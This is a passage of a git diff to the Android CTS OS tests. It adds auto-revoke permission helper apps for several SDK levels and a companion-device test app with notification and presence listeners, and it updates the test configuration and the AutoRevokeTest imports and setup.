+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.os.cts.autorevokeqapp">
+
+    <uses-permission android:name="android.permission.READ_CALENDAR" />
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29" />
+    <application>
+        <activity android:name="android.os.cts.autorevokeqapp.MainActivity"
+                  android:exported="true"
+                  android:visibleToInstantApps="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/tests/tests/os/AutoRevokeQApp/src/android/os/cts/autorevokeqapp/MainActivity.kt b/tests/tests/os/AutoRevokeQApp/src/android/os/cts/autorevokeqapp/MainActivity.kt
new file mode 100644
index 0000000..101f200
--- /dev/null
+++ b/tests/tests/os/AutoRevokeQApp/src/android/os/cts/autorevokeqapp/MainActivity.kt
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.autorevokeqapp
+
+import android.app.Activity
+import android.os.Bundle
+
+class MainActivity : Activity() {
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
+    }
+}
diff --git a/tests/tests/os/AutoRevokeRApp/Android.bp b/tests/tests/os/AutoRevokeRApp/Android.bp
new file mode 100644
index 0000000..2921ce2
--- /dev/null
+++ b/tests/tests/os/AutoRevokeRApp/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAutoRevokeRApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "mts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java", "src/**/*.kt"],
+}
diff --git a/tests/tests/os/AutoRevokeRApp/AndroidManifest.xml b/tests/tests/os/AutoRevokeRApp/AndroidManifest.xml
new file mode 100644
index 0000000..486f6aa
--- /dev/null
+++ b/tests/tests/os/AutoRevokeRApp/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--s
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.os.cts.autorevokerapp">
+
+    <uses-permission android:name="android.permission.READ_CALENDAR" />
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
+
+    <application>
+        <activity android:name="android.os.cts.autorevokerapp.MainActivity"
+                  android:exported="true"
+                  android:visibleToInstantApps="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/tests/tests/os/AutoRevokeRApp/src/android/os/cts/autorevokerapp/MainActivity.kt b/tests/tests/os/AutoRevokeRApp/src/android/os/cts/autorevokerapp/MainActivity.kt
new file mode 100644
index 0000000..c97f883
--- /dev/null
+++ b/tests/tests/os/AutoRevokeRApp/src/android/os/cts/autorevokerapp/MainActivity.kt
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.autorevokerapp
+
+import android.app.Activity
+import android.content.Intent
+import android.net.Uri
+import android.os.Bundle
+import android.widget.Button
+import android.widget.LinearLayout
+import android.widget.LinearLayout.VERTICAL
+import android.widget.TextView
+
+class MainActivity : Activity() {
+
+    val allowlistStatus by lazy { TextView(this) }
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        setContentView(LinearLayout(this).apply {
+            orientation = VERTICAL
+
+            addView(allowlistStatus)
+            addView(Button(this@MainActivity).apply {
+                text = "Request allowlist"
+
+                setOnClickListener {
+                    startActivity(
+                        Intent(Intent.ACTION_AUTO_REVOKE_PERMISSIONS)
+                            .setData(Uri.fromParts("package", packageName, null)))
+                }
+            })
+        })
+
+        requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
+    }
+
+    override fun onResume() {
+        super.onResume()
+
+        allowlistStatus.text = "Auto-revoke allowlisted: " + packageManager.isAutoRevokeWhitelisted
+    }
+}
diff --git a/tests/tests/os/AutoRevokeSApp/Android.bp b/tests/tests/os/AutoRevokeSApp/Android.bp
new file mode 100644
index 0000000..f3ae871
--- /dev/null
+++ b/tests/tests/os/AutoRevokeSApp/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAutoRevokeSApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "mts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java", "src/**/*.kt"],
+}
diff --git a/tests/tests/os/AutoRevokeSApp/AndroidManifest.xml b/tests/tests/os/AutoRevokeSApp/AndroidManifest.xml
new file mode 100644
index 0000000..d4f4f04
--- /dev/null
+++ b/tests/tests/os/AutoRevokeSApp/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--s
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.os.cts.autorevokesapp">
+
+    <uses-permission android:name="android.permission.READ_CALENDAR" />
+
+    <uses-sdk android:minSdkVersion="31" android:targetSdkVersion="31" />
+
+    <application>
+        <activity android:name="android.os.cts.autorevokesapp.MainActivity"
+                  android:exported="true"
+                  android:visibleToInstantApps="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/tests/tests/os/AutoRevokeSApp/src/android/os/cts/autorevokesapp/MainActivity.kt b/tests/tests/os/AutoRevokeSApp/src/android/os/cts/autorevokesapp/MainActivity.kt
new file mode 100644
index 0000000..c04efb2
--- /dev/null
+++ b/tests/tests/os/AutoRevokeSApp/src/android/os/cts/autorevokesapp/MainActivity.kt
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.autorevokesapp
+
+import android.app.Activity
+import android.content.Intent
+import android.net.Uri
+import android.os.Bundle
+import android.widget.Button
+import android.widget.LinearLayout
+import android.widget.LinearLayout.VERTICAL
+import android.widget.TextView
+
+class MainActivity : Activity() {
+
+    val allowlistStatus by lazy { TextView(this) }
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        setContentView(LinearLayout(this).apply {
+            orientation = VERTICAL
+
+            addView(allowlistStatus)
+            addView(Button(this@MainActivity).apply {
+                text = "Request allowlist"
+
+                setOnClickListener {
+                    startActivity(
+                        Intent(Intent.ACTION_AUTO_REVOKE_PERMISSIONS)
+                            .setData(Uri.fromParts("package", packageName, null)))
+                }
+            })
+        })
+
+        requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
+    }
+
+    override fun onResume() {
+        super.onResume()
+
+        allowlistStatus.text = "Auto-revoke allowlisted: " + packageManager.isAutoRevokeWhitelisted
+    }
+}
diff --git a/tests/tests/os/CompanionTestApp/Android.bp b/tests/tests/os/CompanionTestApp/Android.bp
new file mode 100644
index 0000000..e4185b6
--- /dev/null
+++ b/tests/tests/os/CompanionTestApp/Android.bp
@@ -0,0 +1,33 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsCompanionTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "compatibility-device-util-axt"
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "vts10",
+        "mts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java", "src/**/*.kt"],
+}
diff --git a/tests/tests/os/CompanionTestApp/AndroidManifest.xml b/tests/tests/os/CompanionTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..eda1292
--- /dev/null
+++ b/tests/tests/os/CompanionTestApp/AndroidManifest.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--s
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.os.cts.companiontestapp">
+
+    <uses-permission android:name="android.permission.CALL_PHONE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS" />
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.READ_CALL_LOG" />
+    <uses-permission android:name="android.permission.MANAGE_ONGOING_CALLS" />
+    <uses-permission android:name="android.permission.USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER" />
+    <uses-permission android:name="android.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE" />
+
+    <uses-feature android:name="android.software.companion_device_setup" />
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
+
+    <application android:label="Sample Companion App">
+        <activity android:name="android.os.cts.companiontestapp.CompanionTestAppMainActivity"
+                  android:exported="true"
+                  android:visibleToInstantApps="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <service
+            android:name=".NotificationListener"
+            android:exported="true"
+            android:label="Notification Listener Service"
+            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
+
+        <service
+            android:name=".DevicePresenceListener"
+            android:exported="true"
+            android:label="Presence Listener Service"
+            android:permission="android.permission.BIND_COMPANION_DEVICE_SERVICE">
+            <intent-filter>
+                <action android:name="android.companion.CompanionDeviceService" />
+            </intent-filter>
+        </service>
+
+    </application>
+</manifest>
+
diff --git a/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt
new file mode 100644
index 0000000..061760d
--- /dev/null
+++ b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt
@@ -0,0 +1,202 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.companiontestapp
+
+import android.Manifest.permission.CALL_PHONE
+import android.app.Activity
+import android.bluetooth.BluetoothAdapter
+import android.bluetooth.BluetoothDevice
+import android.bluetooth.BluetoothManager
+import android.bluetooth.le.ScanResult
+import android.companion.AssociationRequest
+import android.companion.BluetoothDeviceFilter
+import android.companion.CompanionDeviceManager
+import android.content.ComponentName
+import android.content.Context
+import android.content.Intent
+import android.content.IntentSender
+import android.content.pm.PackageManager
+import android.os.Bundle
+import android.os.Handler
+import android.os.Looper
+import android.os.Parcelable
+import android.os.Process
+import android.util.Log
+import android.widget.Button
+import android.widget.LinearLayout
+import android.widget.LinearLayout.VERTICAL
+import android.widget.TextView
+import android.widget.Toast
+import java.util.regex.Pattern
+
+class CompanionTestAppMainActivity : Activity() {
+
+    val associationStatus by lazy { TextView(this) }
+    val permissionStatus by lazy { TextView(this) }
+    val notificationsStatus by lazy { TextView(this) }
+    val bypassStatus by lazy { TextView(this) }
+
+    val cdm: CompanionDeviceManager by lazy { val java = CompanionDeviceManager::class.java
+        getSystemService(java)!! }
+    val bt: BluetoothAdapter by lazy { val java = BluetoothManager::class.java
+        getSystemService(java)!!.adapter }
+
+    var device: BluetoothDevice? = null
+
+    private val mainHandler = Handler(Looper.getMainLooper())
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        setContentView(LinearLayout(this).apply {
+            orientation = VERTICAL
+
+            addView(associationStatus)
+            addView(permissionStatus)
+            addView(notificationsStatus)
+            addView(bypassStatus)
+
+            addView(Button(ctx).apply {
+                text = "^^^ Refresh"
+                setOnClickListener { refresh() }
+            })
+
+            addView(cdmButton("Associate BT") {
+                addDeviceFilter(BluetoothDeviceFilter.Builder().build())
+            })
+            addView(cdmButton("Associate Watch") {
+                addDeviceFilter(BluetoothDeviceFilter.Builder().build())
+                setDeviceProfile("android.app.role.COMPANION_DEVICE_WATCH")
+            })
+            addView(cdmButton("Associate 1 Watch") {
+                addDeviceFilter(BluetoothDeviceFilter.Builder().build())
+                setSingleDevice(true)
+                setDeviceProfile("android.app.role.COMPANION_DEVICE_WATCH")
+            })
+            addView(cdmButton("Associate 1") {
+                addDeviceFilter(BluetoothDeviceFilter.Builder()
+                        .setNamePattern(Pattern.compile(".* WATCH .*"))
+                        .build())
+                setSingleDevice(true)
+            })
+            addView(Button(ctx).apply {
+                text = "Request notifications"
+                setOnClickListener {
+                    cdm.requestNotificationAccess(
+                            ComponentName(ctx, NotificationListener::class.java))
+                }
+            })
+            addView(Button(ctx).apply {
+                text = "Disassociate"
+                setOnClickListener {
+                    cdm.associations.forEach { address ->
+                        toast("Disassociating $address")
+                        cdm.disassociate(address)
+                    }
+                }
+            })
+
+            addView(Button(ctx).apply {
+                text = "Register PresenceListener"
+                setOnClickListener {
+                    cdm.associations.forEach { address ->
+                        toast("startObservingDevicePresence $address")
+                        cdm.startObservingDevicePresence(address)
+                    }
+                }
+            })
+        })
+    }
+
+    private fun cdmButton(label: String, initReq: AssociationRequest.Builder.() -> Unit): Button {
+        return Button(ctx).apply {
+            text = label
+
+            setOnClickListener {
+                cdm.associate(AssociationRequest.Builder()
+                        .apply { initReq() }
+                        .build(),
+                        object : CompanionDeviceManager.Callback() {
+                            override fun onFailure(error: CharSequence?) {
+                                toast("error: $error")
+                            }
+
+                            override fun onDeviceFound(chooserLauncher: IntentSender?) {
+                                toast("launching $chooserLauncher")
+                                chooserLauncher?.let {
+                                    startIntentSenderForResult(it, REQUEST_CODE_CDM, null, 0, 0, 0)
+                                }
+                            }
+                        },
+                        mainHandler)
+            }
+        }
+    }
+
+    override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
+        if (requestCode == REQUEST_CODE_CDM) {
+            device = getDevice(data)
+            toast("result code: $resultCode, device: $device")
+        }
+        super.onActivityResult(requestCode, resultCode, data)
+    }
+
+    private fun getDevice(data: Intent?): BluetoothDevice? {
+        val rawDevice = data?.getParcelableExtra<Parcelable?>(CompanionDeviceManager.EXTRA_DEVICE)
+        return when (rawDevice) {
+            is BluetoothDevice -> rawDevice
+            is ScanResult -> rawDevice.device
+            else -> null
+        }
+    }
+
+    override fun onResume() {
+        super.onResume()
+        refresh()
+    }
+
+    private fun refresh() {
+        associationStatus.text = "Have associations: ${cdm.associations.isNotEmpty()}"
+
+        permissionStatus.text = "Phone granted: ${
+                checkPermission(CALL_PHONE, Process.myPid(), Process.myUid()) ==
+                        PackageManager.PERMISSION_GRANTED}"
+
+        notificationsStatus.postDelayed({
+            notificationsStatus.text = "Notifications granted: ${
+            try {
+                cdm.hasNotificationAccess(
+                        ComponentName.createRelative(this, NotificationListener::class.java.name))
+            } catch (e: Exception) {
+                toast("" + e.message)
+                false
+            }
+            }"
+        }, 1000)
+    }
+
+    companion object {
+        const val REQUEST_CODE_CDM = 1
+    }
+}
+
+fun Context.toast(msg: String) {
+    Log.i("CompanionDeviceManagerTest", "toast: $msg")
+    Toast.makeText(this, msg, Toast.LENGTH_LONG).show()
+}
+
+val Context.ctx get() = this
diff --git a/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/DevicePresenceListener.kt b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/DevicePresenceListener.kt
new file mode 100644
index 0000000..ab479bb
--- /dev/null
+++ b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/DevicePresenceListener.kt
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.companiontestapp
+
+import android.companion.CompanionDeviceService
+
+class DevicePresenceListener : CompanionDeviceService() {
+
+    override fun onDeviceAppeared(address: String) {
+        toast("Device appeared: $address")
+    }
+
+    override fun onDeviceDisappeared(address: String) {
+        toast("Device disappeared: $address")
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/NotificationListener.kt b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/NotificationListener.kt
new file mode 100644
index 0000000..58c562e
--- /dev/null
+++ b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/NotificationListener.kt
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.companiontestapp
+
+import android.service.notification.NotificationListenerService
+import android.service.notification.StatusBarNotification
+
+class NotificationListener : NotificationListenerService() {
+
+    override fun onListenerConnected() {
+        for (activeNotification in activeNotifications) {
+            onNotificationPosted(activeNotification)
+        }
+    }
+
+    override fun onNotificationPosted(sbn: StatusBarNotification) {
+        super.onNotificationPosted(sbn)
+
+        toast("Notification detected: ${sbn.packageName}: ${sbn.notification.tickerText}")
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index 1d4b393..cf17162 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -19,20 +19,11 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsOsTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="force-install-mode" value="FULL"/>
-        <option name="test-file-name" value="CtsMockInputMethod.apk" />
-    </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
-        <option name="force-skip-system-props" value="true" />
-        <option name="screen-always-on" value="on" />
-    </target_preparer>
-
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.os.cts" />
         <option name="runtime-hint" value="3m15s" />
@@ -51,7 +42,9 @@
     </target_preparer>
     <!-- Load additional APKs onto device -->
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
-        <option name="push" value="CtsAutoRevokePreRApp.apk->/data/local/tmp/cts/os/CtsAutoRevokePreRApp.apk" />
+        <option name="push" value="CtsAutoRevokeSApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeSApp.apk" />
+        <option name="push" value="CtsAutoRevokeRApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeRApp.apk" />
+        <option name="push" value="CtsAutoRevokeQApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeQApp.apk" />
+        <option name="push" value="CtsCompanionTestApp.apk->/data/local/tmp/cts/os/CtsCompanionTestApp.apk" />
     </target_preparer>
 </configuration>
diff --git a/tests/tests/os/jni/Android.bp b/tests/tests/os/jni/Android.bp
index c4508c2..616fe2e 100644
--- a/tests/tests/os/jni/Android.bp
+++ b/tests/tests/os/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_defaults {
     name: "libctsos_jni_defaults",
 
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 44a5444..0353207 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -16,6 +16,8 @@
 
 package android.os.cts
 
+import android.app.ActivityManager
+import android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_TOP_SLEEPING
 import android.app.Instrumentation
 import android.content.Context
 import android.content.Intent
@@ -26,20 +28,28 @@
 import android.content.pm.PackageManager.PERMISSION_GRANTED
 import android.content.res.Resources
 import android.net.Uri
+import android.os.ParcelFileDescriptor
+import android.os.Process
 import android.platform.test.annotations.AppModeFull
 import android.provider.DeviceConfig
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiObject2
 import android.view.accessibility.AccessibilityNodeInfo
+import android.view.accessibility.AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
 import android.widget.Switch
 import androidx.test.InstrumentationRegistry
 import androidx.test.runner.AndroidJUnit4
+import com.android.compatibility.common.util.LogcatInspector
 import com.android.compatibility.common.util.MatcherUtils.hasTextThat
 import com.android.compatibility.common.util.SystemUtil
+import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.SystemUtil.getEventually
 import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow
 import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
 import com.android.compatibility.common.util.ThrowingSupplier
+import com.android.compatibility.common.util.UI_ROOT
 import com.android.compatibility.common.util.UiAutomatorUtils
 import com.android.compatibility.common.util.click
 import com.android.compatibility.common.util.depthFirstSearch
@@ -50,6 +60,8 @@
 import org.hamcrest.CoreMatchers.containsStringIgnoringCase
 import org.hamcrest.CoreMatchers.equalTo
 import org.hamcrest.Matcher
+import org.hamcrest.Matchers.greaterThan
+import org.hamcrest.Matchers.lessThanOrEqualTo
 import org.junit.Assert.assertEquals
 import org.junit.Assert.assertFalse
 import org.junit.Assert.assertThat
@@ -57,15 +69,18 @@
 import org.junit.Before
 import org.junit.Test
 import org.junit.runner.RunWith
+import java.io.InputStream
 import java.lang.reflect.Modifier
 import java.util.concurrent.TimeUnit
 import java.util.concurrent.atomic.AtomicReference
 import java.util.regex.Pattern
 
-private const val APK_PATH = "/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk"
-private const val APK_PACKAGE_NAME = "android.os.cts.autorevokedummyapp"
-private const val APK_PATH_2 = "/data/local/tmp/cts/os/CtsAutoRevokePreRApp.apk"
-private const val APK_PACKAGE_NAME_2 = "android.os.cts.autorevokeprerapp"
+private const val APK_PATH_S_APP = "/data/local/tmp/cts/os/CtsAutoRevokeSApp.apk"
+private const val APK_PACKAGE_NAME_S_APP = "android.os.cts.autorevokesapp"
+private const val APK_PATH_R_APP = "/data/local/tmp/cts/os/CtsAutoRevokeRApp.apk"
+private const val APK_PACKAGE_NAME_R_APP = "android.os.cts.autorevokerapp"
+private const val APK_PATH_Q_APP = "/data/local/tmp/cts/os/CtsAutoRevokeQApp.apk"
+private const val APK_PACKAGE_NAME_Q_APP = "android.os.cts.autorevokeqapp"
 private const val READ_CALENDAR = "android.permission.READ_CALENDAR"
 
 /**
@@ -80,26 +95,37 @@
     private val mPermissionControllerResources: Resources = context.createPackageContext(
             context.packageManager.permissionControllerPackageName, 0).resources
 
+    private lateinit var supportedApkPath: String
+    private lateinit var supportedAppPackageName: String
+    private lateinit var preMinVersionApkPath: String
+    private lateinit var preMinVersionAppPackageName: String
+
     companion object {
         const val LOG_TAG = "AutoRevokeTest"
     }
 
     @Before
     fun setup() {
-        // Kill Permission Controller
-        assertThat(
-                runShellCommand("killall " +
-                        context.packageManager.permissionControllerPackageName),
-                equalTo(""))
-
         // Collapse notifications
         assertThat(
-                runShellCommand("cmd statusbar collapse"),
+                runShellCommandOrThrow("cmd statusbar collapse"),
                 equalTo(""))
 
         // Wake up the device
